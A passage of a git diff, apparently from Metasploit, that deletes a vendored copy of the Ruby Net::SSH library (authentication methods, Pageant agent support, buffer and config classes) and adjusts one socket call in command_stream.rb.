- case value - when true, false then buffer.write_bool(value) - when String then buffer.write_string(value) - else raise ArgumentError, "don't know how to write #{value.inspect}" - end - end - - buffer - end - - end - -end; end; end; end diff --git a/lib/net/ssh/authentication/methods/hostbased.rb b/lib/net/ssh/authentication/methods/hostbased.rb deleted file mode 100644 index 908fe179ea..0000000000 --- a/lib/net/ssh/authentication/methods/hostbased.rb +++ /dev/null @@ -1,72 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/authentication/methods/abstract' - -module Net - module SSH - module Authentication - module Methods - - # Implements the host-based SSH authentication method. - class Hostbased < Abstract - include Constants - - # Attempts to perform host-based authorization of the user by trying - # all known keys. - def authenticate(next_service, username, password=nil) - return false unless key_manager - - key_manager.each_identity do |identity| - return true if authenticate_with(identity, next_service, - username, key_manager) - end - - return false - end - - private - - # Returns the hostname as reported by the underlying socket. - def hostname - session.transport.socket.client_name - end - - # Attempts to perform host-based authentication of the user, using - # the given host identity (key). - def authenticate_with(identity, next_service, username, key_manager) - debug { "trying hostbased (#{identity.fingerprint})" } - client_username = ENV['USER'] || username - - req = build_request(identity, next_service, username, "#{hostname}.", client_username) - sig_data = Buffer.from(:string, session_id, :raw, req) - - sig = key_manager.sign(identity, sig_data.to_s) - - message = Buffer.from(:raw, req, :string, sig) - - send_message(message) - message = session.next_message - - case message.type - when USERAUTH_SUCCESS - info { "hostbased succeeded (#{identity.fingerprint})" } - return true - when USERAUTH_FAILURE - info { "hostbased failed (#{identity.fingerprint})" } - return false - else - raise Net::SSH::Exception, "unexpected server response to USERAUTH_REQUEST: #{message.type} (#{message.inspect})" - end - end - - # Build the "core" hostbased request string. - def build_request(identity, next_service, username, hostname, client_username) - userauth_request(username, next_service, "hostbased", identity.ssh_type, - Buffer.from(:key, identity).to_s, hostname, client_username).to_s - end - - end - - end - end - end -end diff --git a/lib/net/ssh/authentication/methods/keyboard_interactive.rb b/lib/net/ssh/authentication/methods/keyboard_interactive.rb deleted file mode 100644 index a4f131e12b..0000000000 --- a/lib/net/ssh/authentication/methods/keyboard_interactive.rb +++ /dev/null @@ -1,69 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/prompt' -require 'net/ssh/authentication/methods/abstract' - -module Net - module SSH - module Authentication - module Methods - - # Implements the "keyboard-interactive" SSH authentication method. - class KeyboardInteractive < Abstract - include Prompt # Or not - Prompt depends on stdin/stdout ATM. -todb - - USERAUTH_INFO_REQUEST = 60 - USERAUTH_INFO_RESPONSE = 61 - - # Attempt to authenticate the given user for the given service. - def authenticate(next_service, username, password=nil) - debug { "trying keyboard-interactive" } - send_message(userauth_request(username, next_service, "keyboard-interactive", "", "")) - - loop do - message = session.next_message - - case message.type - when USERAUTH_SUCCESS - debug { "keyboard-interactive succeeded" } - return true - when USERAUTH_FAILURE - debug { "keyboard-interactive failed" } - return false - when USERAUTH_INFO_REQUEST - name = message.read_string - instruction = message.read_string - debug { "keyboard-interactive info request" } - - unless password - puts(name) unless name.empty? - puts(instruction) unless instruction.empty? - end - - lang_tag = message.read_string - responses =[] - - message.read_long.times do - text = message.read_string - echo = message.read_bool - responses << (password || "") - # Avoid actually prompting. - # responses << (password || prompt(text, echo)) - end - - # if the password failed the first time around, don't try - # and use it on subsequent requests. - password = nil - - msg = Buffer.from(:byte, USERAUTH_INFO_RESPONSE, :long, responses.length, :string, responses) - send_message(msg) - else - raise Net::SSH::Exception, "unexpected reply in keyboard interactive: #{message.type} (#{message.inspect})" - end - end - end - end - - end - end - end -end diff --git a/lib/net/ssh/authentication/methods/password.rb b/lib/net/ssh/authentication/methods/password.rb deleted file mode 100644 index 8d84aad326..0000000000 --- a/lib/net/ssh/authentication/methods/password.rb +++ /dev/null @@ -1,45 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/errors' -require 'net/ssh/authentication/methods/abstract' - -module Net - module SSH - module Authentication - module Methods - - # Implements the "password" SSH authentication method. - class Password < Abstract - # Attempt to authenticate the given user for the given service. If - # the password parameter is nil, this will never do anything except - # return false. - def authenticate(next_service, username, password=nil) - return false unless password - - send_message(userauth_request(username, next_service, "password", false, password)) - message = session.next_message - - case message.type - when USERAUTH_SUCCESS - debug { "password succeeded" } - if session.options[:record_auth_info] - session.auth_info[:method] = "password" - session.auth_info[:user] = username - session.auth_info[:password] = password - end - return true - when USERAUTH_FAILURE - debug { "password failed" } - return false - when USERAUTH_PASSWD_CHANGEREQ - debug { "password change request received, failing" } - return false - else - raise Net::SSH::Exception, "unexpected reply to USERAUTH_REQUEST: #{message.type} (#{message.inspect})" - end - end - end - - end - end - end -end diff --git a/lib/net/ssh/authentication/methods/publickey.rb b/lib/net/ssh/authentication/methods/publickey.rb deleted file mode 100644 index 7f65487130..0000000000 --- a/lib/net/ssh/authentication/methods/publickey.rb +++ /dev/null @@ -1,116 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/buffer' -require 'net/ssh/errors' -require 'net/ssh/authentication/methods/abstract' - -module Net - module SSH - module Authentication - module Methods - - # Implements the "publickey" SSH authentication method. - class Publickey < Abstract - # Attempts to perform public-key authentication for the given - # username, trying each identity known to the key manager. If any of - # them succeed, returns +true+, otherwise returns +false+. This - # requires the presence of a key manager. - def authenticate(next_service, username, password=nil) - return false unless key_manager - - key_manager.each_identity do |identity| - return true if authenticate_with(identity, next_service, username) - end - - return false - end - - private - - # Builds a packet that contains the request formatted for sending - # a public-key request to the server. - def build_request(pub_key, username, next_service, has_sig) - blob = Net::SSH::Buffer.new - blob.write_key pub_key - - userauth_request(username, next_service, "publickey", has_sig, - pub_key.ssh_type, blob.to_s) - end - - # Builds and sends a request formatted for a public-key - # authentication request. - def send_request(pub_key, username, next_service, signature=nil) - msg = build_request(pub_key, username, next_service, !signature.nil?) - msg.write_string(signature) if signature - send_message(msg) - end - - # Attempts to perform public-key authentication for the given - # username, with the given identity (public key). Returns +true+ if - # successful, or +false+ otherwise. - def authenticate_with(identity, next_service, username) - debug { "trying publickey (#{identity.fingerprint})" } - send_request(identity, username, next_service) - - message = session.next_message - - case message.type - when USERAUTH_PK_OK - debug { "publickey will be accepted (#{identity.fingerprint})" } - - # The key is accepted by the server, trigger a callback if set - if session.accepted_key_callback - session.accepted_key_callback.call({ :user => username, :fingerprint => identity.fingerprint, :key => identity.dup }) - end - - if session.skip_private_keys - if session.options[:record_auth_info] - session.auth_info[:method] = "publickey" - session.auth_info[:user] = username - session.auth_info[:pubkey_data] = identity.inspect - session.auth_info[:pubkey_id] = identity.fingerprint - end - return true - end - - buffer = build_request(identity, username, next_service, true) - sig_data = Net::SSH::Buffer.new - sig_data.write_string(session_id) - sig_data.append(buffer.to_s) - - sig_blob = key_manager.sign(identity, sig_data) - - send_request(identity, username, next_service, sig_blob.to_s) - message = session.next_message - - case message.type - when USERAUTH_SUCCESS - debug { "publickey succeeded (#{identity.fingerprint})" } - if session.options[:record_auth_info] - session.auth_info[:method] = "publickey" - session.auth_info[:user] = username - session.auth_info[:pubkey_data] = identity.inspect - session.auth_info[:pubkey_id] = identity.fingerprint - end - return true - when USERAUTH_FAILURE - debug { "publickey failed (#{identity.fingerprint})" } - return false - else - raise Net::SSH::Exception, - "unexpected server response to USERAUTH_REQUEST: #{message.type} (#{message.inspect})" - end - - when USERAUTH_FAILURE - return false - - else - raise Net::SSH::Exception, "unexpected reply to USERAUTH_REQUEST: #{message.type} (#{message.inspect})" - end - end - - end - - end - end - end -end diff --git a/lib/net/ssh/authentication/pageant.rb b/lib/net/ssh/authentication/pageant.rb deleted file mode 100644 index 4ff4d93ca7..0000000000 --- a/lib/net/ssh/authentication/pageant.rb +++ /dev/null @@ -1,184 +0,0 @@ -# -*- coding: binary -*- -require 'dl/import' -require 'dl/struct' - -require 'net/ssh/errors' - -module Net; module SSH; module Authentication - - # This module encapsulates the implementation of a socket factory that - # uses the PuTTY "pageant" utility to obtain information about SSH - # identities. - # - # This code is a slightly modified version of the original implementation - # by Guillaume Marçais (guillaume.marcais@free.fr). It is used and - # relicensed by permission. - module Pageant - - # From Putty pageant.c - AGENT_MAX_MSGLEN = 8192 - AGENT_COPYDATA_ID = 0x804e50ba - - # The definition of the Windows methods and data structures used in - # communicating with the pageant process. - module Win - extend DL::Importable - - dlload 'user32' - dlload 'kernel32' - - typealias("LPCTSTR", "char *") # From winnt.h - typealias("LPVOID", "void *") # From winnt.h - typealias("LPCVOID", "const void *") # From windef.h - typealias("LRESULT", "long") # From windef.h - typealias("WPARAM", "unsigned int *") # From windef.h - typealias("LPARAM", "long *") # From windef.h - typealias("PDWORD_PTR", "long *") # From basetsd.h - - # From winbase.h, winnt.h - INVALID_HANDLE_VALUE = -1 - NULL = nil - PAGE_READWRITE = 0x0004 - FILE_MAP_WRITE = 2 - WM_COPYDATA = 74 - - SMTO_NORMAL = 0 # From winuser.h - - # args: lpClassName, lpWindowName - extern 'HWND FindWindow(LPCTSTR, LPCTSTR)' - - # args: none - extern 'DWORD GetCurrentThreadId()' - - # args: hFile, (ignored), flProtect, dwMaximumSizeHigh, - # dwMaximumSizeLow, lpName - extern 'HANDLE CreateFileMapping(HANDLE, void *, DWORD, DWORD, ' + - 'DWORD, LPCTSTR)' - - # args: hFileMappingObject, dwDesiredAccess, dwFileOffsetHigh, - # dwfileOffsetLow, dwNumberOfBytesToMap - extern 'LPVOID MapViewOfFile(HANDLE, DWORD, DWORD, DWORD, DWORD)' - - # args: lpBaseAddress - extern 'BOOL UnmapViewOfFile(LPCVOID)' - - # args: hObject - extern 'BOOL CloseHandle(HANDLE)' - - # args: hWnd, Msg, wParam, lParam, fuFlags, uTimeout, lpdwResult - extern 'LRESULT SendMessageTimeout(HWND, UINT, WPARAM, LPARAM, ' + - 'UINT, UINT, PDWORD_PTR)' - end - - # This is the pseudo-socket implementation that mimics the interface of - # a socket, translating each request into a Windows messaging call to - # the pageant daemon. This allows pageant support to be implemented - # simply by replacing the socket factory used by the Agent class. - class Socket - - private_class_method :new - - # The factory method for creating a new Socket instance. The location - # parameter is ignored, and is only needed for compatibility with - # the general Socket interface. - def self.open(location=nil) - new - end - - # Create a new instance that communicates with the running pageant - # instance. If no such instance is running, this will cause an error. - def initialize - @win = Win.findWindow("Pageant", "Pageant") - - if @win == 0 - raise Net::SSH::Exception, - "pageant process not running" - end - - @res = nil - @pos = 0 - end - - # Forwards the data to #send_query, ignoring any arguments after - # the first. Returns 0. - def send(data, *args) - @res = send_query(data) - @pos = 0 - end - - # Packages the given query string and sends it to the pageant - # process via the Windows messaging subsystem. The result is - # cached, to be returned piece-wise when #read is called. - def send_query(query) - res = nil - filemap = 0 - ptr = nil - id = DL::PtrData.malloc(DL.sizeof("L")) - - mapname = "PageantRequest%08x\000" % Win.getCurrentThreadId() - filemap = Win.createFileMapping(Win::INVALID_HANDLE_VALUE, - Win::NULL, - Win::PAGE_READWRITE, 0, - AGENT_MAX_MSGLEN, mapname) - if filemap == 0 - raise Net::SSH::Exception, - "Creation of file mapping failed" - end - - ptr = Win.mapViewOfFile(filemap, Win::FILE_MAP_WRITE, 0, 0, - AGENT_MAX_MSGLEN) - - if ptr.nil? || ptr.null? - raise Net::SSH::Exception, "Mapping of file failed" - end - - ptr[0] = query - - cds = [AGENT_COPYDATA_ID, mapname.size + 1, mapname]. - pack("LLp").to_ptr - succ = Win.sendMessageTimeout(@win, Win::WM_COPYDATA, Win::NULL, - cds, Win::SMTO_NORMAL, 5000, id) - - if succ > 0 - retlen = 4 + ptr.to_s(4).unpack("N")[0] - res = ptr.to_s(retlen) - end - - return res - ensure - Win.unmapViewOfFile(ptr) unless ptr.nil? || ptr.null? - Win.closeHandle(filemap) if filemap != 0 - end - - # Conceptually close the socket. This doesn't really do anthing - # significant, but merely complies with the Socket interface. - def close - @res = nil - @pos = 0 - end - - # Conceptually asks if the socket is closed. As with #close, - # this doesn't really do anything significant, but merely - # complies with the Socket interface. - def closed? - @res.nil? && @pos.zero? - end - - # Reads +n+ bytes from the cached result of the last query. If +n+ - # is +nil+, returns all remaining data from the last query. - def read(n = nil) - return nil unless @res - if n.nil? - start, @pos = @pos, @res.size - return @res[start..-1] - else - start, @pos = @pos, @pos + n - return @res[start, n] - end - end - - end - - end - -end; end; end diff --git a/lib/net/ssh/authentication/session.rb b/lib/net/ssh/authentication/session.rb deleted file mode 100644 index 7e07ccf696..0000000000 --- a/lib/net/ssh/authentication/session.rb +++ /dev/null @@ -1,148 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/loggable' -require 'net/ssh/transport/constants' -require 'net/ssh/authentication/constants' -require 'net/ssh/authentication/key_manager' -require 'net/ssh/authentication/methods/publickey' -require 'net/ssh/authentication/methods/hostbased' -require 'net/ssh/authentication/methods/password' -require 'net/ssh/authentication/methods/keyboard_interactive' - -module Net; module SSH; module Authentication - - # Represents an authentication session. It manages the authentication of - # a user over an established connection (the "transport" object, see - # Net::SSH::Transport::Session). - # - # The use of an authentication session to manage user authentication is - # internal to Net::SSH (specifically Net::SSH.start). Consumers of the - # Net::SSH library will never need to access this class directly. - class Session - include Transport::Constants, Constants, Loggable - - # transport layer abstraction - attr_reader :transport - - # the list of authentication methods to try - attr_reader :auth_methods - - # the list of authentication methods that are allowed - attr_reader :allowed_auth_methods - - # a hash of options, given at construction time - attr_reader :options - - # when a successful auth is made, note the auth info if session.options[:record_auth_info] - attr_accessor :auth_info - - # when a public key is accepted (even if not used), trigger a callback - attr_accessor :accepted_key_callback - - # when we only want to test a key and not login - attr_accessor :skip_private_keys - - # Instantiates a new Authentication::Session object over the given - # transport layer abstraction. - def initialize(transport, options={}) - self.logger = transport.logger - @transport = transport - - @auth_methods = options[:auth_methods] || %w(publickey hostbased password keyboard-interactive) - @options = options - - @allowed_auth_methods = @auth_methods - @skip_private_keys = options[:skip_private_keys] || false - @accepted_key_callback = options[:accepted_key_callback] - @auth_info = {} - end - - # Attempts to authenticate the given user, in preparation for the next - # service request. Returns true if an authentication method succeeds in - # authenticating the user, and false otherwise. - def authenticate(next_service, username, password=nil) - debug { "beginning authentication of `#{username}'" } - - transport.send_message(transport.service_request("ssh-userauth")) - message = expect_message(SERVICE_ACCEPT) - - key_manager = KeyManager.new(logger, options) - keys.each { |key| key_manager.add(key) } unless keys.empty? - key_data.each { |key2| key_manager.add_key_data(key2) } unless key_data.empty? - - attempted = [] - - @auth_methods.each do |name| - next unless @allowed_auth_methods.include?(name) - attempted << name - - debug { "trying #{name}" } - method = Methods.const_get(name.split(/\W+/).map { |p| p.capitalize }.join).new(self, :key_manager => key_manager) - - return true if method.authenticate(next_service, username, password) - end - - error { "all authorization methods failed (tried #{attempted.join(', ')})" } - return false - ensure - key_manager.finish if key_manager - end - - # Blocks until a packet is received. It silently handles USERAUTH_BANNER - # packets, and will raise an error if any packet is received that is not - # valid during user authentication. - def next_message - loop do - packet = transport.next_message - - case packet.type - when USERAUTH_BANNER - info { packet[:message] } - # TODO add a hook for people to retrieve the banner when it is sent - - when USERAUTH_FAILURE - @allowed_auth_methods = packet[:authentications].split(/,/) - debug { "allowed methods: #{packet[:authentications]}" } - return packet - - when USERAUTH_METHOD_RANGE, SERVICE_ACCEPT - return packet - - when USERAUTH_SUCCESS - transport.hint :authenticated - return packet - - else - raise Net::SSH::Exception, "unexpected message #{packet.type} (#{packet})" - end - end - end - - # Blocks until a packet is received, and returns it if it is of the given - # type. If it is not, an exception is raised. - def expect_message(type) - message = next_message - unless message.type == type - raise Net::SSH::Exception, "expected #{type}, got #{message.type} (#{message})" - end - message - end - - private - - # Returns an array of paths to the key files that should be used when - # attempting any key-based authentication mechanism. - def keys - Array( - options[:keys] # || - # %w(~/.ssh/id_dsa ~/.ssh/id_rsa ~/.ssh2/id_dsa ~/.ssh2/id_rsa) - ) - end - - # Returns an array of the key data that should be used when - # attempting any key-based authentication mechanism. - def key_data - Array(options[:key_data]) - end - end -end; end; end - diff --git a/lib/net/ssh/buffer.rb b/lib/net/ssh/buffer.rb deleted file mode 100644 index 9c6a199a68..0000000000 --- a/lib/net/ssh/buffer.rb +++ /dev/null @@ -1,341 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/ruby_compat' -require 'net/ssh/transport/openssl' - -module Net; module SSH - - # Net::SSH::Buffer is a flexible class for building and parsing binary - # data packets. It provides a stream-like interface for sequentially - # reading data items from the buffer, as well as a useful helper method - # for building binary packets given a signature. - # - # Writing to a buffer always appends to the end, regardless of where the - # read cursor is. Reading, on the other hand, always begins at the first - # byte of the buffer and increments the read cursor, with subsequent reads - # taking up where the last left off. - # - # As a consumer of the Net::SSH library, you will rarely come into contact - # with these buffer objects directly, but it could happen. Also, if you - # are ever implementing a protocol on top of SSH (e.g. SFTP), this buffer - # class can be quite handy. - class Buffer - # This is a convenience method for creating and populating a new buffer - # from a single command. The arguments must be even in length, with the - # first of each pair of arguments being a symbol naming the type of the - # data that follows. If the type is :raw, the value is written directly - # to the hash. - # - # b = Buffer.from(:byte, 1, :string, "hello", :raw, "\1\2\3\4") - # #-> "\1\0\0\0\5hello\1\2\3\4" - # - # The supported data types are: - # - # * :raw => write the next value verbatim (#write) - # * :int64 => write an 8-byte integer (#write_int64) - # * :long => write a 4-byte integer (#write_long) - # * :byte => write a single byte (#write_byte) - # * :string => write a 4-byte length followed by character data (#write_string) - # * :bool => write a single byte, interpreted as a boolean (#write_bool) - # * :bignum => write an SSH-encoded bignum (#write_bignum) - # * :key => write an SSH-encoded key value (#write_key) - # - # Any of these, except for :raw, accepts an Array argument, to make it - # easier to write multiple values of the same type in a briefer manner. - def self.from(*args) - raise ArgumentError, "odd number of arguments given" unless args.length % 2 == 0 - - buffer = new - 0.step(args.length-1, 2) do |index| - type = args[index] - value = args[index+1] - if type == :raw - buffer.append(value.to_s) - elsif Array === value - buffer.send("write_#{type}", *value) - else - buffer.send("write_#{type}", value) - end - end - - buffer - end - - # exposes the raw content of the buffer - attr_reader :content - - # the current position of the pointer in the buffer - attr_accessor :position - - # Creates a new buffer, initialized to the given content. The position - # is initialized to the beginning of the buffer. - def initialize(content="") - @content = content.to_s - @position = 0 - end - - # Returns the length of the buffer's content. - def length - @content.length - end - - # Returns the number of bytes available to be read (e.g., how many bytes - # remain between the current position and the end of the buffer). - def available - length - position - end - - # Returns a copy of the buffer's content. - def to_s - (@content || "").dup - end - - # Compares the contents of the two buffers, returning +true+ only if they - # are identical in size and content. - def ==(buffer) - to_s == buffer.to_s - end - - # Returns +true+ if the buffer contains no data (e.g., it is of zero length). - def empty? - @content.empty? - end - - # Resets the pointer to the start of the buffer. Subsequent reads will - # begin at position 0. - def reset! - @position = 0 - end - - # Returns true if the pointer is at the end of the buffer. Subsequent - # reads will return nil, in this case. - def eof? - @position >= length - end - - # Resets the buffer, making it empty. Also, resets the read position to - # 0. - def clear! - @content = "" - @position = 0 - end - - # Consumes n bytes from the buffer, where n is the current position - # unless otherwise specified. This is useful for removing data from the - # buffer that has previously been read, when you are expecting more data - # to be appended. It helps to keep the size of buffers down when they - # would otherwise tend to grow without bound. - # - # Returns the buffer object itself. - def consume!(n=position) - if n >= length - # optimize for a fairly common case - clear! - elsif n > 0 - @content = @content[n..-1] || "" - @position -= n - @position = 0 if @position < 0 - end - self - end - - # Appends the given text to the end of the buffer. Does not alter the - # read position. Returns the buffer object itself. - def append(text) - @content << text - self - end - - # Returns all text from the current pointer to the end of the buffer as - # a new Net::SSH::Buffer object. - def remainder_as_buffer - Buffer.new(@content[@position..-1]) - end - - # Reads all data up to and including the given pattern, which may be a - # String, Fixnum, or Regexp and is interpreted exactly as String#index - # does. Returns nil if nothing matches. Increments the position to point - # immediately after the pattern, if it does match. Returns all data up to - # and including the text that matched the pattern. - def read_to(pattern) - index = @content.index(pattern, @position) or return nil - length = case pattern - when String then pattern.length - when Fixnum then 1 - when Regexp then $&.length - end - index && read(index+length) - end - - # Reads and returns the next +count+ bytes from the buffer, starting from - # the read position. If +count+ is +nil+, this will return all remaining - # text in the buffer. This method will increment the pointer. - def read(count=nil) - count ||= length - count = length - @position if @position + count > length - @position += count - @content[@position-count, count] - end - - # Reads (as #read) and returns the given number of bytes from the buffer, - # and then consumes (as #consume!) all data up to the new read position. - def read!(count=nil) - data = read(count) - consume! - data - end - - # Return the next 8 bytes as a 64-bit integer (in network byte order). - # Returns nil if there are less than 8 bytes remaining to be read in the - # buffer. - def read_int64 - hi = read_long or return nil - lo = read_long or return nil - return (hi << 32) + lo - end - - # Return the next four bytes as a long integer (in network byte order). - # Returns nil if there are less than 4 bytes remaining to be read in the - # buffer. - def read_long - b = read(4) or return nil - b.unpack("N").first - end - - # Read and return the next byte in the buffer. Returns nil if called at - # the end of the buffer. - def read_byte - b = read(1) or return nil - b.getbyte(0) - end - - # Read and return an SSH2-encoded string. The string starts with a long - # integer that describes the number of bytes remaining in the string. - # Returns nil if there are not enough bytes to satisfy the request. - def read_string - length = read_long or return nil - read(length) - end - - # Read a single byte and convert it into a boolean, using 'C' rules - # (i.e., zero is false, non-zero is true). - def read_bool - b = read_byte or return nil - b != 0 - end - - # Read a bignum (OpenSSL::BN) from the buffer, in SSH2 format. It is - # essentially just a string, which is reinterpreted to be a bignum in - # binary format. - def read_bignum - data = read_string - return unless data - OpenSSL::BN.new(data, 2) - end - - # Read a key from the buffer. The key will start with a string - # describing its type. The remainder of the key is defined by the - # type that was read. - def read_key - type = read_string - return (type ? read_keyblob(type) : nil) - end - - # Read a keyblob of the given type from the buffer, and return it as - # a key. Only RSA and DSA keys are supported. - def read_keyblob(type) - case type - when "ssh-dss" - key = OpenSSL::PKey::DSA.new - key.p = read_bignum - key.q = read_bignum - key.g = read_bignum - key.pub_key = read_bignum - - when "ssh-rsa" - key = OpenSSL::PKey::RSA.new - key.e = read_bignum - key.n = read_bignum - - else - raise NotImplementedError, "unsupported key type `#{type}'" - end - - return key - end - - # Reads the next string from the buffer, and returns a new Buffer - # object that wraps it. - def read_buffer - Buffer.new(read_string) - end - - # Writes the given data literally into the string. Does not alter the - # read position. Returns the buffer object. - def write(*data) - data.each { |datum| @content << datum } - self - end - - # Writes each argument to the buffer as a network-byte-order-encoded - # 64-bit integer (8 bytes). Does not alter the read position. Returns the - # buffer object. - def write_int64(*n) - n.each do |i| - hi = (i >> 32) & 0xFFFFFFFF - lo = i & 0xFFFFFFFF - @content << [hi, lo].pack("N2") - end - self - end - - # Writes each argument to the buffer as a network-byte-order-encoded - # long (4-byte) integer. Does not alter the read position. Returns the - # buffer object. - def write_long(*n) - @content << n.pack("N*") - self - end - - # Writes each argument to the buffer as a byte. Does not alter the read - # position. Returns the buffer object. - def write_byte(*n) - n.each { |b| @content << b.chr } - self - end - - # Writes each argument to the buffer as an SSH2-encoded string. Each - # string is prefixed by its length, encoded as a 4-byte long integer. - # Does not alter the read position. Returns the buffer object. - def write_string(*text) - text.each do |string| - s = string.to_s - write_long(s.length) - write(s) - end - self - end - - # Writes each argument to the buffer as a (C-style) boolean, with 1 - # meaning true, and 0 meaning false. Does not alter the read position. - # Returns the buffer object. - def write_bool(*b) - b.each { |v| @content << (v ? "\1" : "\0") } - self - end - - # Writes each argument to the buffer as a bignum (SSH2-style). No - # checking is done to ensure that the arguments are, in fact, bignums. - # Does not alter the read position. Returns the buffer object. - def write_bignum(*n) - @content << n.map { |b| b.to_ssh }.join - self - end - - # Writes the given arguments to the buffer as SSH2-encoded keys. Does not - # alter the read position. Returns the buffer object. - def write_key(*key) - key.each { |k| append(k.to_blob) } - self - end - end -end; end; diff --git a/lib/net/ssh/buffered_io.rb b/lib/net/ssh/buffered_io.rb deleted file mode 100644 index c51e775de7..0000000000 --- a/lib/net/ssh/buffered_io.rb +++ /dev/null @@ -1,150 +0,0 @@ -# -*- coding: binary -*- -require 'net/ssh/buffer' -require 'net/ssh/loggable' - -module Net; module SSH - - # This module is used to extend sockets and other IO objects, to allow - # them to be buffered for both read and write. This abstraction makes it - # quite easy to write a select-based event loop - # (see Net::SSH::Connection::Session#listen_to). - # - # The general idea is that instead of calling #read directly on an IO that - # has been extended with this module, you call #fill (to add pending input - # to the internal read buffer), and then #read_available (to read from that - # buffer). Likewise, you don't call #write directly, you call #enqueue to - # add data to the write buffer, and then #send_pending or #wait_for_pending_sends - # to actually send the data across the wire. - # - # In this way you can easily use the object as an argument to IO.select, - # calling #fill when it is available for read, or #send_pending when it is - # available for write, and then call #enqueue and #read_available during - # the idle times. - # - # socket = Rex::Socket::Tcp.create( ... address, ... port ... ) - # socket.extend(Net::SSH::BufferedIo) - # - # ssh.listen_to(socket) - # - # ssh.loop do - # if socket.available > 0 - # puts socket.read_available - # socket.enqueue("response\n") - # end - # end - # - # Note that this module must be used to extend an instance, and should not - # be included in a class. If you do want to use it via an include, then you - # must make sure to invoke the private #initialize_buffered_io method in - # your class' #initialize method: - # - # class Foo < IO - # include Net::SSH::BufferedIo - # - # def initialize - # initialize_buffered_io - # # ... - # end - # end - module BufferedIo - include Loggable - - # Called when the #extend is called on an object, with this module as the - # argument. It ensures that the modules instance variables are all properly - # initialized. - def self.extended(object) #:nodoc: - # need to use __send__ because #send is overridden in Socket - object.__send__(:initialize_buffered_io) - end - - # Tries to read up to +n+ bytes of data from the remote end, and appends - # the data to the input buffer. It returns the number of bytes read, or 0 - # if no data was available to be read. - def fill(n=8192) - input.consume! - data = recv(n) - debug { "read #{data.length} bytes" } - input.append(data) - return data.length - end - - # Read up to +length+ bytes from the input buffer. If +length+ is nil, - # all available data is read from the buffer. (See #available.) - def read_available(length=nil) - input.read(length || available) - end - - # Returns the number of bytes available to be read from the input buffer. - # (See #read_available.) - def available - input.available - end - - # Enqueues data in the output buffer, to be written when #send_pending - # is called. Note that the data is _not_ sent immediately by this method! - def enqueue(data) - output.append(data) - end - - # Returns +true+ if there is data waiting in the output buffer, and - # +false+ otherwise. - def pending_write? - output.length > 0 - end - - # Sends as much of the pending output as possible. Returns +true+ if any - # data was sent, and +false+ otherwise. - def send_pending - if output.length > 0 - sent = send(output.to_s, 0) - debug { "sent #{sent} bytes" } - output.consume!(sent) - return sent > 0 - else - return false - end - end - - # Calls #send_pending repeatedly, if necessary, blocking until the output - # buffer is empty. - def wait_for_pending_sends - send_pending - while output.length > 0 - result = IO.select(nil, [self]) or next - next unless result[1].any? - send_pending - end - end - - public # these methods are primarily for use in tests - - def write_buffer #:nodoc: - output.to_s - end - - def read_buffer #:nodoc: - input.to_s - end - - private - - #-- - # Can't use attr_reader here (after +private+) without incurring the - # wrath of "ruby -w". We hates it. - #++ - - def input; @input; end - def output; @output; end - - # Initializes the intput and output buffers for this object. This method - # is called automatically when the module is mixed into an object via - # Object#extend (see Net::SSH::BufferedIo.extended), but must be called - # explicitly in the +initialize+ method of any class that uses - # Module#include to add this module. - def initialize_buffered_io - @input = Net::SSH::Buffer.new - @output = Net::SSH::Buffer.new - end - end - -end; end diff --git a/lib/net/ssh/command_stream.rb b/lib/net/ssh/command_stream.rb index 661bbf3cef..f9d82cd518 100644 --- a/lib/net/ssh/command_stream.rb +++ b/lib/net/ssh/command_stream.rb @@ -26,7 +26,7 @@ class CommandStream self.thread = Thread.new(ssh,cmd,cleanup) do |rssh,rcmd,rcleanup| begin - info = rssh.transport.socket.getpeername + info = rssh.transport.socket.getpeername_as_array self.lsock.peerinfo = "#{info[1]}:#{info[2]}" info = rssh.transport.socket.getsockname diff --git a/lib/net/ssh/config.rb b/lib/net/ssh/config.rb deleted file mode 100644 index c518cf1b98..0000000000 --- a/lib/net/ssh/config.rb +++ /dev/null @@ -1,182 +0,0 @@ -# -*- coding: binary -*- -module Net; module SSH - - # The Net::SSH::Config class is used to parse OpenSSH configuration files, - # and translates that syntax into the configuration syntax that Net::SSH - # understands. This lets Net::SSH scripts read their configuration (to - # some extent) from OpenSSH configuration files (~/.ssh/config, /etc/ssh_config, - # and so forth). - # - # Only a subset of OpenSSH configuration options are understood: - # - # * Ciphers => maps to the :encryption option - # * Compression => :compression - # * CompressionLevel => :compression_level - # * ConnectTimeout => maps to the :timeout option - # * ForwardAgent => :forward_agent - # * GlobalKnownHostsFile => :global_known_hosts_file - # * HostBasedAuthentication => maps to the :auth_methods option - # * HostKeyAlgorithms => maps to :host_key option - # * HostKeyAlias => :host_key_alias - # * HostName => :host_name - # * IdentityFile => maps to the :keys option - # * Macs => maps to the :hmac option - # * PasswordAuthentication => maps to the :auth_methods option - # * Port => :port - # * PreferredAuthentications => maps to the :auth_methods option - # * RekeyLimit => :rekey_limit - # * User => :user - # * UserKnownHostsFile => :user_known_hosts_file - # - # Note that you will never need to use this class directly--you can control - # whether the OpenSSH configuration files are read by passing the :config - # option to Net::SSH.start. (They are, by default.) - class Config - class < "xterm", - :chars_wide => 80, - :chars_high => 24, - :pixels_wide => 640, - :pixels_high => 480, - :modes => {} } - - # Requests that a pseudo-tty (or "pty") be made available for this channel. - # This is useful when you want to invoke and interact with some kind of - # screen-based program (e.g., vim, or some menuing system). - # - # Note, that without a pty some programs (e.g. sudo, or subversion) on - # some systems, will not be able to run interactively, and will error - # instead of prompt if they ever need some user interaction. - # - # Note, too, that when a pty is requested, user's shell configuration - # scripts (.bashrc and such) are not run by default, whereas they are - # run when a pty is not present. - # - # channel.request_pty do |ch, success| - # if success - # puts "pty successfully obtained" - # else - # puts "could not obtain pty" - # end - # end - def request_pty(opts={}, &block) - extra = opts.keys - VALID_PTY_OPTIONS.keys - raise ArgumentError, "invalid option(s) to request_pty: #{extra.inspect}" if extra.any? - - opts = VALID_PTY_OPTIONS.merge(opts) - - modes = opts[:modes].inject(Buffer.new) do |memo, (mode, data)| - memo.write_byte(mode).write_long(data) - end - # mark the end of the mode opcode list with a 0 byte - modes.write_byte(0) - - send_channel_request("pty-req", :string, opts[:term], - :long, opts[:chars_wide], :long, opts[:chars_high], - :long, opts[:pixels_wide], :long, opts[:pixels_high], - :string, 